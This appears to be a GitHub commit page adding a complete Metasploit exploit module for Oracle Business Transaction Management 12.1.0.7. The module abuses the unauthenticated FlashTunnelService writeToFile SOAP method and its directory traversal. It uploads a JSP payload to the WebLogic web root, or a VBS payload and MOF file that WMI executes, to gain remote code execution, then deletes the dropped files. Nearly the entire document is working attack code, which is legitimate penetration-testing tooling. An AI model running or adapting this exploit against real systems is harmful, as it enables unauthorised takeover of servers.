Skip to content

Commit 36483d1

Browse files
sinn3rsinn3r
committed
Merge branch 'oracle_btm_writetofil' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-oracle_btm_writetofil
2 parents 7f03e37 + 9a83c7c commit 36483d1

File tree

1 file changed

+272
-0
lines changed

1 file changed

+272
-0
lines changed

‎modules/exploits/windows/http/oracle_btm_writetofile.rb

Lines changed: 272 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,272 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::WbemExec
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
20+
'Description' => %q{
21+
This module exploits abuses the FlashTunnelService SOAP web service on Oracle
22+
Business Transaction Management 12.1.0.7 to upload arbitrary files, without
23+
authentication, using the WriteToFile method. The same method contains a directory
24+
traversal vulnerability, which allows to upload the files to arbitrary locations.
25+
26+
In order to execute remote code two techniques are provided. If the Oracle app has
27+
been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
28+
root. If a new Domain has been used to deploy the Oracle application, the Windows
29+
Management Instrumentation service can be used to execute arbitrary code.
30+
31+
Both techniques has been successfully tested on default installs of Oracle BTM
32+
12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
33+
provided, but the user can configure the traversal depth using the DEPTH option.
34+
},
35+
'License' => MSF_LICENSE,
36+
'Author' =>
37+
[
38+
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC
39+
'sinn3r', # Metasploit module
40+
'juan vazquez' # Metasploit module
41+
],
42+
'References' =>
43+
[
44+
[ 'OSVDB', '85087' ],
45+
[ 'BID', '54839' ],
46+
[ 'EDB', '20318' ]
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'WfsDelay' => 5
51+
},
52+
'Payload' =>
53+
{
54+
'DisableNops' => true,
55+
'Space' => 2048,
56+
'StackAdjustment' => -3500
57+
},
58+
'Platform' => [ 'java', 'win' ],
59+
'Targets' =>
60+
[
61+
[ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',
62+
{
63+
'Arch' => ARCH_JAVA,
64+
'Depth' => 10
65+
},
66+
],
67+
[ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',
68+
{
69+
'Arch' => ARCH_X86,
70+
'Platform' => 'win',
71+
'Depth' => 13
72+
}
73+
]
74+
],
75+
'DefaultTarget' => 0,
76+
'DisclosureDate' => 'Aug 07 2012'))
77+
78+
register_options(
79+
[
80+
Opt::RPORT(7001),
81+
OptInt.new('DEPTH', [false, 'Traversal depth'])
82+
], self.class)
83+
end
84+
85+
def on_new_session(client)
86+
87+
return if not @var_mof_name
88+
return if not @var_vbs_name
89+
90+
if client.type != "meterpreter"
91+
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
92+
print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
93+
return
94+
end
95+
96+
# stdapi must be loaded before we can use fs.file
97+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
98+
99+
cmd = "C:\\windows\\system32\\attrib.exe -r " +
100+
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
101+
102+
client.sys.process.execute(cmd, nil, {'Hidden' => true })
103+
104+
begin
105+
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
106+
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
107+
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
108+
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
109+
rescue ::Exception => e
110+
print_error("Exception: #{e.inspect}")
111+
end
112+
113+
end
114+
115+
def exploit
116+
117+
peer = "#{rhost}:#{rport}"
118+
119+
if target.name =~ /WMI/
120+
121+
# In order to save binary data to the file system the payload is written to a .vbs
122+
# file and execute it from there.
123+
@var_mof_name = rand_text_alpha(rand(5)+5)
124+
@var_vbs_name = rand_text_alpha(rand(5)+5)
125+
126+
print_status("Encoding payload into vbs...")
127+
my_payload = generate_payload_exe
128+
vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)
129+
130+
print_status("Generating mof file...")
131+
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
132+
133+
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
134+
traversal = "..\\" * target['Depth']
135+
else
136+
traversal = "..\\" * datastore['DEPTH']
137+
end
138+
traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"
139+
140+
print_status("#{peer} - Uploading the VBS payload")
141+
142+
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
143+
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
144+
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
145+
soap_request << " <soapenv:Header/>"
146+
soap_request << " <soapenv:Body>"
147+
soap_request << " <int:writeToFileRequest>"
148+
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
149+
soap_request << " <typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"
150+
soap_request << " <typ:WriteToFileRequestVersion>"
151+
soap_request << " </typ:WriteToFileRequestVersion>"
152+
soap_request << " </int:writeToFile>"
153+
soap_request << " </int:writeToFileRequest>"
154+
soap_request << " </soapenv:Body>"
155+
soap_request << "</soapenv:Envelope>"
156+
157+
res = send_request_cgi(
158+
{
159+
'uri' => '/btmui/soa/flash_svc/',
160+
'version' => '1.1',
161+
'method' => 'POST',
162+
'ctype' => "text/xml;charset=UTF-8",
163+
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
164+
'data' => soap_request,
165+
}, 5)
166+
167+
if res and res.code == 200 and res.body =~ /writeToFileResponse/
168+
print_status("#{peer} - VBS payload successfully uploaded")
169+
else
170+
print_error("#{peer} - Failed to upload the VBS payload")
171+
return
172+
end
173+
174+
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
175+
traversal = "..\\" * target['Depth']
176+
else
177+
traversal = "..\\" * datastore['DEPTH']
178+
end
179+
traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"
180+
181+
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
182+
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
183+
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
184+
soap_request << " <soapenv:Header/>"
185+
soap_request << " <soapenv:Body>"
186+
soap_request << " <int:writeToFileRequest>"
187+
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
188+
soap_request << " <typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"
189+
soap_request << " <typ:WriteToFileRequestVersion>"
190+
soap_request << " </typ:WriteToFileRequestVersion>"
191+
soap_request << " </int:writeToFile>"
192+
soap_request << " </int:writeToFileRequest>"
193+
soap_request << " </soapenv:Body>"
194+
soap_request << "</soapenv:Envelope>"
195+
196+
print_status("#{peer} - Uploading the MOF file")
197+
198+
res = send_request_cgi(
199+
{
200+
'uri' => '/btmui/soa/flash_svc/',
201+
'version' => '1.1',
202+
'method' => 'POST',
203+
'ctype' => "text/xml;charset=UTF-8",
204+
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
205+
'data' => soap_request,
206+
}, 5)
207+
208+
if res and res.code == 200 and res.body =~ /writeToFileResponse/
209+
print_status("#{peer} - MOF file successfully uploaded")
210+
else
211+
print_error("#{peer} - Failed to upload the MOF file")
212+
return
213+
end
214+
215+
elsif target['Arch'] == ARCH_JAVA
216+
217+
@jsp_name = rand_text_alpha(rand(5)+5)
218+
219+
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
220+
traversal = "..\\" * target['Depth']
221+
else
222+
traversal = "..\\" * datastore['DEPTH']
223+
end
224+
traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"
225+
226+
print_status("#{peer} - Uploading the JSP payload")
227+
228+
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
229+
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
230+
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
231+
soap_request << " <soapenv:Header/>"
232+
soap_request << " <soapenv:Body>"
233+
soap_request << " <int:writeToFileRequest>"
234+
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
235+
soap_request << " <typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"
236+
soap_request << " <typ:WriteToFileRequestVersion>"
237+
soap_request << " </typ:WriteToFileRequestVersion>"
238+
soap_request << " </int:writeToFile>"
239+
soap_request << " </int:writeToFileRequest>"
240+
soap_request << " </soapenv:Body>"
241+
soap_request << "</soapenv:Envelope>"
242+
243+
res = send_request_cgi(
244+
{
245+
'uri' => '/btmui/soa/flash_svc/',
246+
'version' => '1.1',
247+
'method' => 'POST',
248+
'ctype' => "text/xml;charset=UTF-8",
249+
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
250+
'data' => soap_request,
251+
}, 5)
252+
253+
if res and res.code == 200 and res.body =~ /writeToFileResponse/
254+
print_status("#{peer} - JSP payload successfully uploaded")
255+
else
256+
print_error("#{peer} - Failed to upload the JSP payload")
257+
return
258+
end
259+
260+
print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")
261+
res = send_request_cgi(
262+
{
263+
'uri' => "/#{@jsp_name}.jsp",
264+
'version' => '1.1',
265+
'method' => 'GET',
266+
}, 5)
267+
268+
end
269+
270+
end
271+
272+
end

0 commit comments

Comments
 (0)